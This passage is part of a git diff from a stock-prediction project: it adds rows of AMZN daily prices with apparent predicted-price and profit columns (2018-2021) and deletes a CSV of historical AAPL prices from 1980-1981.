+2018-06-13,1702.81005859375,1713.75,1700.1199951171875,1704.8599853515625,1704.8599853515625,3327500,AMZN,1714.3746,1699.72998046875,-5.1300048828125,0.0
+2018-06-14,1713.47998046875,1724.800048828125,1708.8699951171875,1723.8599853515625,1723.8599853515625,3174400,AMZN,1723.9595,1710.6300048828125,-13.22998046875,0.0
+2018-06-26,1672.3699951171875,1701.5699462890625,1663.3399658203125,1691.0899658203125,1691.0899658203125,4386600,AMZN,1713.1294,1842.9200439453125,151.830078125,0.0
+2018-07-05,1705.3800048828125,1710.68994140625,1682.1500244140625,1699.72998046875,1699.72998046875,2983100,AMZN,1726.4377,1808.0,108.27001953125,0.0
+2018-07-16,1821.949951171875,1841.949951171875,1814.449951171875,1822.489990234375,1822.489990234375,5466200,AMZN,1801.6943,1847.7500000000002,0.0,-25.260009765625227
+2018-07-17,1811.56005859375,1851.68994140625,1797.3800048828125,1843.9300537109375,1843.9300537109375,5682900,AMZN,1810.0323,1862.47998046875,0.0,-18.5499267578125
+2018-07-18,1848.0,1858.8800048828125,1831.27001953125,1842.9200439453125,1842.9200439453125,4861900,AMZN,1820.3157,1886.5200195312498,0.0,-43.59997558593727
+2018-07-23,1812.2099609375,1819.0,1769.989990234375,1802.0,1802.0,3888500,AMZN,1799.873,1896.199951171875,0.0,-94.199951171875
+2018-07-31,1786.489990234375,1801.8299560546875,1739.3199462890625,1777.43994140625,1777.43994140625,5738700,AMZN,1797.9723,1883.4200439453127,105.98010253906273,0.0
+2018-08-07,1854.530029296875,1869.719970703125,1846.27001953125,1862.47998046875,1862.47998046875,3377500,AMZN,1834.0403,1932.8199462890625,0.0,-70.3399658203125
+2018-08-10,1888.510009765625,1899.5,1878.2099609375,1886.300048828125,1886.300048828125,3639900,AMZN,1859.3578,2012.7099609375,0.0,-126.409912109375
+2018-08-16,1903.93994140625,1905.0,1883.550048828125,1886.52001953125,1886.52001953125,3957100,AMZN,1868.212,1952.0699462890625,0.0,-65.5499267578125
+2018-08-17,1885.800048828125,1888.0,1855.550048828125,1882.219970703125,1882.219970703125,4104300,AMZN,1859.1696,1939.0100097656252,0.0,-56.79003906250023
+2018-08-28,1937.72998046875,1941.780029296875,1928.8199462890625,1932.8199462890625,1932.8199462890625,3100700,AMZN,1886.5349,1926.4200439453125,0.0,6.39990234375
+2018-08-29,1953.449951171875,1998.68994140625,1948.93994140625,1998.0999755859375,1998.0999755859375,6531800,AMZN,1902.6252,1944.3000488281248,0.0,53.79992675781273
+2018-09-06,2006.510009765625,2007.5,1935.2099609375,1958.31005859375,1958.31005859375,7488700,AMZN,1941.7484,2012.97998046875,0.0,-54.669921875
+2018-09-18,1918.6500244140625,1958.199951171875,1915.43994140625,1941.050048828125,1941.050048828125,4268700,AMZN,1913.0623,1870.3199462890623,0.0,70.73010253906273
+2018-09-19,1940.5,1940.8299560546875,1904.9000244140625,1926.4200439453125,1926.4200439453125,4056800,AMZN,1906.3309,1755.25,0.0,171.1700439453125
+2018-09-25,1942.9000244140625,1975.9100341796875,1938.8499755859375,1974.550048828125,1974.550048828125,4538400,AMZN,1917.0543,1819.9599609375,0.0,154.590087890625
+2018-09-27,1993.239990234375,2016.1600341796875,1988.5799560546875,2012.97998046875,2012.97998046875,4329400,AMZN,1949.0231,1770.719970703125,0.0,242.260009765625
+2018-10-03,1981.699951171875,1989.699951171875,1949.81005859375,1952.760009765625,1952.760009765625,5253100,AMZN,1948.2563,1664.199951171875,0.0,288.56005859375
+2018-10-11,1724.0,1755.4000244140625,1685.0999755859375,1719.3599853515625,1719.3599853515625,13935900,AMZN,1804.2075,1665.530029296875,-53.8299560546875,0.0
+2018-10-12,1808.0,1808.949951171875,1742.530029296875,1788.6099853515625,1788.6099853515625,9444600,AMZN,1819.3204,1665.530029296875,-123.0799560546875,0.0
+2018-10-18,1821.489990234375,1830.1500244140625,1767.8699951171875,1770.719970703125,1770.719970703125,5874000,AMZN,1850.426,1754.9100341796875,-15.8099365234375,0.0
+2018-10-23,1742.239990234375,1776.3399658203125,1714.0,1768.699951171875,1768.699951171875,6723900,AMZN,1809.8887,1631.1700439453125,-137.5299072265625,0.0
+2018-10-25,1703.3399658203125,1794.81005859375,1692.010009765625,1782.1700439453125,1782.1700439453125,10285700,AMZN,1786.0964,1619.43994140625,-162.7301025390625,0.0
+2018-10-29,1660.0,1665.739990234375,1495.0,1538.8800048828125,1538.8800048828125,13866100,AMZN,1707.3365,1512.2900390625,-26.5899658203125,0.0
+2018-11-05,1657.5699462890625,1658.0899658203125,1596.3599853515625,1627.800048828125,1627.800048828125,5624700,AMZN,1739.2277,1581.4200439453125,-46.3800048828125,0.0
+2018-11-08,1755.0,1784.0,1725.1099853515625,1754.9100341796875,1754.9100341796875,6534900,AMZN,1777.936,1690.1700439453125,-64.739990234375,0.0
+2018-11-09,1732.5,1743.9200439453125,1701.8699951171875,1712.4300537109375,1712.4300537109375,5902200,AMZN,1774.8875,1772.3599853515625,59.929931640625,0.0
+2018-11-16,1587.5,1614.47998046875,1573.1199951171875,1593.4100341796875,1593.4100341796875,6066100,AMZN,1665.0931,1643.239990234375,49.8299560546875,0.0
+2018-11-29,1674.989990234375,1689.989990234375,1652.3299560546875,1673.5699462890625,1673.5699462890625,6613200,AMZN,1706.1766,1377.449951171875,-296.1199951171875,0.0
+2018-11-30,1679.5,1696.0,1666.5,1690.1700439453125,1690.1700439453125,5761800,AMZN,1719.0068,1343.9599609375,-346.2100830078125,0.0
+2018-12-07,1705.0699462890625,1718.9300537109375,1625.4599609375,1629.1300048828125,1629.1300048828125,7576100,AMZN,1705.5693,1501.969970703125,-127.1600341796875,0.0
+2018-12-19,1543.050048828125,1584.530029296875,1483.1800537109375,1495.0799560546875,1495.0799560546875,8792200,AMZN,1605.5211,1640.56005859375,145.4801025390625,0.0
+2018-12-26,1368.8900146484375,1473.1600341796875,1363.010009765625,1470.9000244140625,1470.9000244140625,10411800,AMZN,1522.3983,1693.219970703125,222.3199462890625,0.0
+2019-01-10,1641.010009765625,1663.25,1621.6199951171875,1656.219970703125,1656.219970703125,6507700,AMZN,1686.8644,1626.22998046875,-29.989990234375,0.0
+2019-01-15,1632.0,1675.1600341796875,1626.010009765625,1674.56005859375,1674.56005859375,5998500,AMZN,1674.713,1640.260009765625,-34.300048828125,0.0
+2019-01-23,1656.0,1657.4300537109375,1612.0,1640.02001953125,1640.02001953125,5225200,AMZN,1685.9,1640.0,-0.02001953125,0.0
+2019-01-25,1670.5,1683.47998046875,1661.6099853515625,1670.5699462890625,1670.5699462890625,4945900,AMZN,1693.2202,1607.949951171875,-62.6199951171875,0.0
+2019-01-30,1623.0,1676.949951171875,1619.6800537109375,1670.4300537109375,1670.4300537109375,5783800,AMZN,1677.2773,1619.43994140625,-50.9901123046875,0.0
+2019-02-05,1643.3399658203125,1665.260009765625,1642.5,1658.81005859375,1658.81005859375,4453100,AMZN,1695.0801,1641.0899658203125,-17.7200927734375,0.0
+2019-02-11,1600.97998046875,1609.2900390625,1586.0,1591.0,1591.0,3317300,AMZN,1648.5846,1692.4300537109375,101.4300537109375,0.0
+2019-02-14,1624.5,1637.9000244140625,1606.06005859375,1622.6500244140625,1622.6500244140625,4120500,AMZN,1675.7958,1620.800048828125,-1.8499755859375,0.0
+2019-02-21,1619.8499755859375,1623.56005859375,1600.9100341796875,1619.43994140625,1619.43994140625,3483400,AMZN,1662.5482,1686.219970703125,66.780029296875,0.0
+2019-02-28,1635.25,1651.77001953125,1633.8299560546875,1639.8299560546875,1639.8299560546875,3025900,AMZN,1673.3943,1819.260009765625,179.4300537109375,0.0
+2019-03-01,1655.1300048828125,1674.260009765625,1651.0,1671.72998046875,1671.72998046875,4974900,AMZN,1683.8635,1764.77001953125,93.0400390625,0.0
+2019-03-20,1769.93994140625,1799.5,1767.030029296875,1797.27001953125,1797.27001953125,6265600,AMZN,1776.3273,1847.3299560546873,0.0,-50.05993652343727
+2019-03-28,1770.0,1777.9300537109375,1753.469970703125,1773.4200439453125,1773.4200439453125,3043000,AMZN,1775.6228,1861.68994140625,88.2698974609375,0.0
+2019-04-15,1842.0,1846.8499755859375,1818.9000244140625,1844.8699951171875,1844.8699951171875,3724400,AMZN,1819.747,1921.0,0.0,-76.1300048828125
+2019-04-22,1855.4000244140625,1888.4200439453125,1845.6400146484375,1887.31005859375,1887.31005859375,3373800,AMZN,1839.7076,1822.6800537109375,0.0,64.6300048828125
+2019-04-24,1925.0,1929.68994140625,1898.1600341796875,1901.75,1901.75,3675800,AMZN,1866.5515,1871.1500244140627,0.0,30.599975585937273
+2019-04-25,1917.0,1922.449951171875,1900.31005859375,1902.25,1902.25,6099100,AMZN,1867.5612,1907.5699462890625,0.0,-5.3199462890625
+2019-04-26,1929.0,1951.0,1898.0,1950.6300048828125,1950.6300048828125,8432600,AMZN,1877.1238,1869.0,0.0,81.6300048828125
+2019-05-01,1933.0899658203125,1943.6400146484375,1910.550048828125,1911.52001953125,1911.52001953125,3117000,AMZN,1888.1719,1859.6800537109375,0.0,51.8399658203125
+2019-05-02,1913.3299560546875,1921.550048828125,1881.8699951171875,1900.8199462890625,1900.8199462890625,3962900,AMZN,1876.2485,1815.4799804687498,0.0,85.33996582031273
+2019-05-07,1939.989990234375,1949.0999755859375,1903.3800048828125,1921.0,1921.0,5902100,AMZN,1889.6532,1819.18994140625,0.0,101.81005859375
+2019-05-09,1900.0,1909.4000244140625,1876.0,1899.8699951171875,1899.8699951171875,5308300,AMZN,1876.4604,1775.0699462890627,0.0,124.80004882812477
+2019-05-22,1851.780029296875,1871.489990234375,1851.0,1859.6800537109375,1859.6800537109375,2936600,AMZN,1850.9343,1870.300048828125,0.0,-10.6199951171875
+2019-06-20,1933.3299560546875,1935.199951171875,1905.800048828125,1918.18994140625,1918.18994140625,3217200,AMZN,1882.9219,2011.0,0.0,-92.81005859375
+2019-06-24,1912.6600341796875,1916.8599853515625,1901.300048828125,1913.9000244140625,1913.9000244140625,2283000,AMZN,1884.5339,2009.9000244140623,0.0,-95.99999999999977
+2019-06-26,1892.47998046875,1903.800048828125,1887.3199462890625,1897.8299560546875,1897.8299560546875,2441900,AMZN,1872.342,1977.9000244140623,0.0,-80.07006835937477
+2019-06-27,1902.0,1911.239990234375,1898.0400390625,1904.280029296875,1904.280029296875,2141700,AMZN,1873.66,1964.5200195312498,0.0,-60.23999023437477
+2019-07-03,1935.8900146484375,1941.5899658203125,1930.5,1939.0,1939.0,1690300,AMZN,1897.4938,1973.8199462890625,0.0,-34.8199462890625
+2019-07-09,1947.800048828125,1990.010009765625,1943.47998046875,1988.300048828125,1988.300048828125,4345700,AMZN,1911.377,1898.5300292968748,0.0,89.77001953125023
+2019-07-17,2007.050048828125,2012.0,1992.030029296875,1992.030029296875,1992.030029296875,2558800,AMZN,1950.1213,1793.4000244140627,0.0,198.63000488281227
+2019-07-18,1980.010009765625,1987.5,1951.550048828125,1977.9000244140625,1977.9000244140625,3486900,AMZN,1936.0769,1832.8900146484375,0.0,145.010009765625
+2019-08-02,1845.0699462890625,1846.3599853515625,1808.02001953125,1823.239990234375,1823.239990234375,4956200,AMZN,1845.1229,1749.6199951171875,-73.6199951171875,0.0
+2019-08-12,1795.989990234375,1800.97998046875,1777.0,1784.9200439453125,1784.9200439453125,2905500,AMZN,1820.8065,1789.8399658203127,4.919921875000227,0.0
+2019-08-23,1793.030029296875,1804.9000244140625,1745.22998046875,1749.6199951171875,1749.6199951171875,5270800,AMZN,1802.7518,1807.8399658203125,58.219970703125,0.0
+2019-09-05,1821.949951171875,1842.0,1815.5799560546875,1840.719970703125,1840.719970703125,3310800,AMZN,1821.2997,1739.8399658203125,0.0,100.8800048828125
+2019-09-19,1821.02001953125,1832.5699462890625,1817.9000244140625,1821.5,1821.5,2031500,AMZN,1816.444,1720.260009765625,0.0,101.239990234375
+2019-09-25,1747.3599853515625,1773.0,1723.0,1768.3299560546875,1768.3299560546875,3493200,AMZN,1775.6792,1777.4300537109375,9.10009765625,0.0
+2019-10-14,1728.9100341796875,1741.8900146484375,1722.0,1736.4300537109375,1736.4300537109375,1910200,AMZN,1750.6288,1804.6600341796877,68.22998046875023,0.0
+2019-10-25,1697.550048828125,1764.2099609375,1695.0,1761.3299560546875,1761.3299560546875,9626400,AMZN,1749.5721,1739.489990234375,0.0,21.8399658203125
+2019-10-28,1748.06005859375,1778.699951171875,1742.5,1777.0799560546875,1777.0799560546875,3708900,AMZN,1766.2344,1752.530029296875,0.0,24.5499267578125
+2019-10-29,1774.81005859375,1777.0,1755.81005859375,1762.7099609375,1762.7099609375,2276900,AMZN,1773.9681,1752.7900390625,-9.919921875,0.0
+2019-11-05,1809.1600341796875,1810.25,1794.0,1801.7099609375,1801.7099609375,1885500,AMZN,1797.5085,1796.93994140625,0.0,4.77001953125
+2019-11-06,1801.0,1802.5,1788.5799560546875,1795.77001953125,1795.77001953125,2029800,AMZN,1793.7872,1818.510009765625,0.0,-22.739990234375
+2019-11-07,1803.760009765625,1805.9000244140625,1783.47998046875,1788.199951171875,1788.199951171875,2651100,AMZN,1789.5408,1800.800048828125,12.60009765625,0.0
+2019-11-12,1774.6600341796875,1786.219970703125,1771.9100341796875,1778.0,1778.0,2037600,AMZN,1775.2207,1760.68994140625,0.0,17.31005859375
+2019-12-23,1788.260009765625,1793.0,1784.510009765625,1793.0,1793.0,2136400,AMZN,1789.8193,1862.0200195312498,0.0,-69.02001953124977
+2019-12-31,1842.0,1853.260009765625,1832.22998046875,1847.8399658203125,1847.8399658203125,2506500,AMZN,1836.4912,1884.5799560546875,0.0,-36.739990234375
+2020-01-08,1898.0400390625,1911.0,1886.43994140625,1891.969970703125,1891.969970703125,3508000,AMZN,1862.4508,1870.6800537109375,0.0,21.2899169921875
+2020-01-23,1885.1099853515625,1889.97998046875,1872.760009765625,1884.5799560546875,1884.5799560546875,2484600,AMZN,1857.5635,2149.8701171875,0.0,-265.2901611328125
+2020-01-28,1840.5,1858.1099853515625,1830.02001953125,1853.25,1853.25,2808000,AMZN,1828.0905,2170.219970703125,0.0,-316.969970703125
+2020-02-04,2029.8800048828125,2059.800048828125,2015.3699951171875,2049.669921875,2049.669921875,5289300,AMZN,1966.7065,1979.5899658203125,0.0,70.0799560546875
+2020-02-06,2041.02001953125,2056.300048828125,2024.800048828125,2050.22998046875,2050.22998046875,3183000,AMZN,1984.3,1883.7499999999998,0.0,166.47998046875023
+2020-02-11,2150.89990234375,2185.949951171875,2136.0,2150.800048828125,2150.800048828125,5746000,AMZN,2028.2646,1975.8299560546875,0.0,174.9700927734375
+2020-02-12,2163.199951171875,2180.25,2155.2900390625,2160.0,2160.0,3334300,AMZN,2049.6287,1924.030029296875,0.0,235.969970703125
+2020-02-21,2142.14990234375,2144.550048828125,2088.0,2095.969970703125,2095.969970703125,4646300,AMZN,2050.0708,1785.0,0.0,310.969970703125
+2020-03-04,1946.5699462890625,1978.0,1922.0,1975.8299560546875,1975.8299560546875,4772900,AMZN,1950.1027,1885.8399658203125,0.0,89.989990234375
+2020-03-31,1964.3499755859375,1993.02001953125,1944.010009765625,1949.719970703125,1949.719970703125,5123600,AMZN,1957.5846,2363.489990234375,413.77001953125,0.0
+2020-04-14,2200.469970703125,2292.0,2186.2099609375,2283.320068359375,2283.320068359375,8087200,AMZN,2117.0605,2317.800048828125,0.0,-34.47998046875
+2020-04-17,2372.330078125,2400.0,2316.02001953125,2375.0,2375.0,7930000,AMZN,2262.3206,2379.610107421875,0.0,-4.610107421875
+2020-04-20,2389.949951171875,2444.97998046875,2386.050048828125,2393.610107421875,2393.610107421875,5770700,AMZN,2299.1333,2409.0,0.0,-15.389892578125
+2020-04-22,2369.0,2394.0,2351.0,2363.489990234375,2363.489990234375,4212200,AMZN,2329.0718,2367.919921875,0.0,-4.429931640625
+2020-04-27,2443.199951171875,2444.8798828125,2363.0,2376.0,2376.0,5645600,AMZN,2361.8044,2426.260009765625,0.0,-50.260009765625
+2020-05-12,2411.85009765625,2419.0,2355.0,2356.949951171875,2356.949951171875,3074900,AMZN,2432.5696,2478.39990234375,121.449951171875,0.0
+2020-05-26,2458.0,2462.0,2414.06005859375,2421.860107421875,2421.860107421875,3568200,AMZN,2643.2065,2615.27001953125,193.409912109375,0.0
+2020-05-28,2384.330078125,2436.969970703125,2378.22998046875,2401.10009765625,2401.10009765625,3190200,AMZN,2698.568,2653.97998046875,252.8798828125,0.0
+2020-05-29,2415.93994140625,2442.3701171875,2398.199951171875,2442.3701171875,2442.3701171875,3509900,AMZN,2727.4475,2675.010009765625,232.639892578125,0.0
+2020-06-12,2601.2099609375,2621.47998046875,2503.35009765625,2545.02001953125,2545.02001953125,5436100,AMZN,2943.3093,3057.0400390625,512.02001953125,0.0
+2020-06-15,2526.60009765625,2584.0,2508.0,2572.679931640625,2572.679931640625,3865100,AMZN,2952.2263,3000.1201171875,427.440185546875,0.0
+2020-06-17,2647.5,2655.0,2631.820068359375,2640.97998046875,2640.97998046875,2959300,AMZN,2979.8723,3182.6298828125,541.64990234375,0.0
+2020-06-19,2678.080078125,2697.429931640625,2659.0,2675.010009765625,2675.010009765625,5777000,AMZN,3003.5376,3104.0,428.989990234375,0.0
+2020-06-29,2690.010009765625,2696.800048828125,2630.080078125,2680.3798828125,2680.3798828125,4223400,AMZN,3067.021,3138.2900390625,457.91015625,0.0
+2020-06-30,2685.070068359375,2769.6298828125,2675.030029296875,2758.820068359375,2758.820068359375,3769700,AMZN,3073.728,3099.909912109375,341.08984375,0.0
+2020-07-10,3191.760009765625,3215.0,3135.699951171875,3200.0,3200.0,5486000,AMZN,3179.598,3164.679931640625,0.0,35.320068359375
+2020-08-03,3180.510009765625,3184.0,3104.0,3111.889892578125,3111.889892578125,5074700,AMZN,3231.454,3307.4599609375,195.570068359375,0.0
+2020-08-10,3170.31005859375,3172.510009765625,3101.52001953125,3148.159912109375,3148.159912109375,3167300,AMZN,3232.9539,3450.9599609375,302.800048828125,0.0
+2020-08-21,3295.0,3314.39990234375,3275.389892578125,3284.719970703125,3284.719970703125,3575900,AMZN,3229.6047,3102.969970703125,0.0,181.75
+2020-09-11,3208.68994140625,3217.340087890625,3083.97998046875,3116.219970703125,3116.219970703125,5094000,AMZN,3232.6648,3125.0,8.780029296875,0.0
+2020-09-22,3033.840087890625,3133.989990234375,3000.199951171875,3128.989990234375,3128.989990234375,6948800,AMZN,3239.804,3443.6298828125,314.639892578125,0.0
+2020-09-30,3141.139892578125,3212.8798828125,3133.989990234375,3148.72998046875,3148.72998046875,4896100,AMZN,3235.9153,3184.93994140625,36.2099609375,0.0
+2020-10-05,3145.840087890625,3202.530029296875,3140.85009765625,3199.199951171875,3199.199951171875,3775300,AMZN,3234.4739,3207.0400390625,7.840087890625,0.0
+2020-10-14,3447.0,3464.8798828125,3340.0,3363.7099609375,3363.7099609375,5812700,AMZN,3221.7056,3241.159912109375,0.0,122.550048828125
+2020-11-05,3319.969970703125,3366.800048828125,3288.8798828125,3322.0,3322.0,5789300,AMZN,3232.1636,3195.340087890625,0.0,126.659912109375
+2020-11-17,3183.5400390625,3189.25,3135.260009765625,3135.659912109375,3135.659912109375,3444700,AMZN,3236.184,3104.199951171875,-31.4599609375,0.0
+2020-11-20,3117.02001953125,3132.889892578125,3098.050048828125,3099.39990234375,3099.39990234375,3374400,AMZN,3237.1836,3156.969970703125,57.570068359375,0.0
+2020-11-25,3141.8701171875,3198.0,3140.260009765625,3185.070068359375,3185.070068359375,3790400,AMZN,3236.828,3236.080078125,51.010009765625,0.0
+2020-12-10,3088.989990234375,3142.10009765625,3076.0,3101.489990234375,3101.489990234375,3030200,AMZN,3236.84,3186.6298828125,85.139892578125,0.0
+2020-12-23,3205.0,3210.1298828125,3184.169921875,3185.27001953125,3185.27001953125,2093800,AMZN,3233.7488,3104.25,-81.02001953125,0.0
+2020-12-28,3194.0,3304.0,3172.68994140625,3283.9599609375,3283.9599609375,5686800,AMZN,3233.8801,3263.3798828125,0.0,20.580078125
+2021-01-05,3166.010009765625,3223.3798828125,3165.06005859375,3218.510009765625,3218.510009765625,2655500,AMZN,3232.305,3232.580078125,14.070068359375,0.0
+2021-01-25,3328.5,3363.889892578125,3243.14990234375,3294.0,3294.0,3749800,AMZN,3229.3445,3268.949951171875,0.0,25.050048828125
+2021-02-26,3095.199951171875,3122.43994140625,3036.699951171875,3092.929931640625,3092.929931640625,4275900,AMZN,3237.175,3074.9599609375,-17.969970703125,0.0
+2021-03-01,3127.889892578125,3149.56005859375,3097.989990234375,3146.139892578125,3146.139892578125,2729100,AMZN,3237.3972,3110.8701171875,-35.269775390625,0.0
+2021-03-10,3098.449951171875,3116.4599609375,3030.050048828125,3057.639892578125,3057.639892578125,3012500,AMZN,3239.5986,3094.080078125,36.440185546875,0.0
+2021-03-11,3104.010009765625,3131.780029296875,3082.929931640625,3113.590087890625,3113.590087890625,2776400,AMZN,3238.8428,3161.0,47.409912109375,0.0
+2021-03-12,3075.0,3098.97998046875,3045.5,3089.489990234375,3089.489990234375,2421900,AMZN,3238.6626,3226.72998046875,137.239990234375,0.0
+2021-03-15,3074.570068359375,3082.239990234375,3032.090087890625,3081.679931640625,3081.679931640625,2913600,AMZN,3238.8242,3223.820068359375,142.14013671875,0.0
+2021-03-17,3073.219970703125,3173.050048828125,3070.219970703125,3135.72998046875,3135.72998046875,3118600,AMZN,3238.1152,3299.300048828125,163.570068359375,0.0
+2021-03-18,3101.0,3116.6298828125,3025.0,3027.989990234375,3027.989990234375,3649600,AMZN,3238.492,3372.199951171875,344.2099609375,0.0
+2021-03-25,3072.989990234375,3109.780029296875,3037.139892578125,3046.260009765625,3046.260009765625,3563500,AMZN,3238.0837,3399.43994140625,353.179931640625,0.0
+2021-04-15,3371.0,3397.0,3352.0,3379.090087890625,3379.090087890625,3233600,AMZN,3223.8176,3306.3701171875,0.0,72.719970703125
+2021-04-23,3319.10009765625,3375.0,3308.5,3340.8798828125,3340.8798828125,3192800,AMZN,3226.481,3222.89990234375,0.0,117.97998046875
+2021-05-03,3484.72998046875,3486.64990234375,3372.699951171875,3386.489990234375,3386.489990234375,5875500,AMZN,3217.5898,3244.989990234375,0.0,141.5
diff --git a/machine-learning/stock-prediction/data/AAPL_2020-01-08.csv b/machine-learning/stock-prediction/data/AAPL_2020-01-08.csv
deleted file mode 100644
index af369e9f..00000000
--- a/machine-learning/stock-prediction/data/AAPL_2020-01-08.csv
+++ /dev/null
@@ -1,9852 +0,0 @@
-,open,high,low,close,adjclose,volume,ticker
-1980-12-12,0.5133928656578064,0.515625,0.5133928656578064,0.5133928656578064,0.4077470302581787,117258400.0,AAPL
-1980-12-15,0.4888392984867096,0.4888392984867096,0.4866071343421936,0.4866071343421936,0.3864732086658478,43971200.0,AAPL
-1980-12-16,0.453125,0.453125,0.4508928656578064,0.4508928656578064,0.3581082224845886,26432000.0,AAPL
-1980-12-17,0.4620535671710968,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3669722080230713,21610400.0,AAPL
-1980-12-18,0.4754464328289032,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37760916352272034,18362400.0,AAPL
-1980-12-19,0.5044642686843872,0.5066964030265808,0.5044642686843872,0.5044642686843872,0.40065574645996094,12157600.0,AAPL
-1980-12-22,0.5290178656578064,0.53125,0.5290178656578064,0.5290178656578064,0.4201566278934479,9340800.0,AAPL
-1980-12-23,0.5513392686843872,0.5535714030265808,0.5513392686843872,0.5513392686843872,0.43788468837738037,11737600.0,AAPL
-1980-12-24,0.5803571343421936,0.5825892686843872,0.5803571343421936,0.5803571343421936,0.4609312117099762,12000800.0,AAPL
-1980-12-26,0.6339285969734192,0.6361607313156128,0.6339285969734192,0.6339285969734192,0.50347900390625,13893600.0,AAPL
-1980-12-29,0.6428571343421936,0.6450892686843872,0.6428571343421936,0.6428571343421936,0.5105700492858887,23290400.0,AAPL
-1980-12-30,0.6294642686843872,0.6294642686843872,0.6272321343421936,0.6272321343421936,0.4981604516506195,17220000.0,AAPL
-1980-12-31,0.6116071343421936,0.6116071343421936,0.609375,0.609375,0.4839777946472168,8937600.0,AAPL
-1981-01-02,0.6160714030265808,0.6205357313156128,0.6160714030265808,0.6160714030265808,0.4892963469028473,5415200.0,AAPL
-1981-01-05,0.6049107313156128,0.6049107313156128,0.6026785969734192,0.6026785969734192,0.47865942120552063,8932000.0,AAPL
-1981-01-06,0.578125,0.578125,0.5758928656578064,0.5758928656578064,0.4573856592178345,11289600.0,AAPL
-1981-01-07,0.5535714030265808,0.5535714030265808,0.5513392686843872,0.5513392686843872,0.43788468837738037,13921600.0,AAPL
-1981-01-08,0.5424107313156128,0.5424107313156128,0.5401785969734192,0.5401785969734192,0.42902064323425293,9956800.0,AAPL
-1981-01-09,0.5691964030265808,0.5714285969734192,0.5691964030265808,0.5691964030265808,0.4520672559738159,5376000.0,AAPL
-1981-01-12,0.5691964030265808,0.5691964030265808,0.5647321343421936,0.5647321343421936,0.4485216736793518,5924800.0,AAPL
-1981-01-13,0.546875,0.546875,0.5446428656578064,0.5446428656578064,0.4325663149356842,5762400.0,AAPL
-1981-01-14,0.546875,0.5491071343421936,0.546875,0.546875,0.43433907628059387,3572800.0,AAPL
-1981-01-15,0.5580357313156128,0.5625,0.5580357313156128,0.5580357313156128,0.4432031214237213,3516800.0,AAPL
-1981-01-16,0.5558035969734192,0.5558035969734192,0.5535714030265808,0.5535714030265808,0.4396573603153229,3348800.0,AAPL
-1981-01-19,0.5870535969734192,0.5892857313156128,0.5870535969734192,0.5870535969734192,0.46624982357025146,10393600.0,AAPL
-1981-01-20,0.5714285969734192,0.5714285969734192,0.5691964030265808,0.5691964030265808,0.4520672559738159,7520800.0,AAPL
-1981-01-21,0.5803571343421936,0.5848214030265808,0.5803571343421936,0.5803571343421936,0.4609312117099762,3976000.0,AAPL
-1981-01-22,0.5870535969734192,0.5915178656578064,0.5870535969734192,0.5870535969734192,0.46624982357025146,8887200.0,AAPL
-1981-01-23,0.5870535969734192,0.5892857313156128,0.5848214030265808,0.5848214030265808,0.4644768536090851,2805600.0,AAPL
-1981-01-26,0.578125,0.578125,0.5758928656578064,0.5758928656578064,0.4573856592178345,6160000.0,AAPL
-1981-01-27,0.5758928656578064,0.5758928656578064,0.5714285969734192,0.5714285969734192,0.453840047121048,5924800.0,AAPL
-1981-01-28,0.5558035969734192,0.5558035969734192,0.5535714030265808,0.5535714030265808,0.4396573603153229,7039200.0,AAPL
-1981-01-29,0.5357142686843872,0.5357142686843872,0.5334821343421936,0.5334821343421936,0.42370226979255676,10976000.0,AAPL
-1981-01-30,0.5089285969734192,0.5089285969734192,0.5044642686843872,0.5044642686843872,0.40065574645996094,11547200.0,AAPL
-1981-02-02,0.4776785671710968,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37760916352272034,5941600.0,AAPL
-1981-02-03,0.4933035671710968,0.4955357015132904,0.4933035671710968,0.4933035671710968,0.39179161190986633,4788000.0,AAPL
-1981-02-04,0.5111607313156128,0.5133928656578064,0.5111607313156128,0.5111607313156128,0.40597423911094666,6966400.0,AAPL
-1981-02-05,0.5111607313156128,0.515625,0.5111607313156128,0.5111607313156128,0.40597423911094666,1982400.0,AAPL
-1981-02-06,0.5133928656578064,0.515625,0.5133928656578064,0.5133928656578064,0.4077470302581787,3466400.0,AAPL
-1981-02-09,0.4910714328289032,0.4910714328289032,0.4866071343421936,0.4866071343421936,0.3864732086658478,4188800.0,AAPL
-1981-02-10,0.4866071343421936,0.4888392984867096,0.4866071343421936,0.4866071343421936,0.3864732086658478,4586400.0,AAPL
-1981-02-11,0.4732142984867096,0.4732142984867096,0.4709821343421936,0.4709821343421936,0.37406352162361145,3460800.0,AAPL
-1981-02-12,0.46875,0.46875,0.4665178656578064,0.4665178656578064,0.3705179691314697,3640000.0,AAPL
-1981-02-13,0.4598214328289032,0.4598214328289032,0.4553571343421936,0.4553571343421936,0.3616538643836975,2788800.0,AAPL
-1981-02-17,0.4665178656578064,0.46875,0.4665178656578064,0.4665178656578064,0.3705179691314697,3068800.0,AAPL
-1981-02-18,0.4866071343421936,0.4910714328289032,0.4866071343421936,0.4866071343421936,0.3864732086658478,4810400.0,AAPL
-1981-02-19,0.4598214328289032,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3634265065193176,5577600.0,AAPL
-1981-02-20,0.4352678656578064,0.4352678656578064,0.4330357015132904,0.4330357015132904,0.3439256548881531,6092800.0,AAPL
-1981-02-23,0.4397321343421936,0.4419642984867096,0.4397321343421936,0.4397321343421936,0.34924399852752686,3528000.0,AAPL
-1981-02-24,0.4285714328289032,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.33683446049690247,4244800.0,AAPL
-1981-02-25,0.4508928656578064,0.453125,0.4508928656578064,0.4508928656578064,0.3581082224845886,4872000.0,AAPL
-1981-02-26,0.4575892984867096,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3634265065193176,2710400.0,AAPL
-1981-02-27,0.4732142984867096,0.4776785671710968,0.4732142984867096,0.4732142984867096,0.3758363425731659,3690400.0,AAPL
-1981-03-02,0.4754464328289032,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37760916352272034,2940000.0,AAPL
-1981-03-03,0.4709821343421936,0.4709821343421936,0.46875,0.46875,0.3722907602787018,4043200.0,AAPL
-1981-03-04,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3687450587749481,3427200.0,AAPL
-1981-03-05,0.4642857015132904,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3669722080230713,1344000.0,AAPL
-1981-03-06,0.4620535671710968,0.4620535671710968,0.4575892984867096,0.4575892984867096,0.3634265065193176,2900800.0,AAPL
-1981-03-09,0.4241071343421936,0.4241071343421936,0.421875,0.421875,0.33506160974502563,3830400.0,AAPL
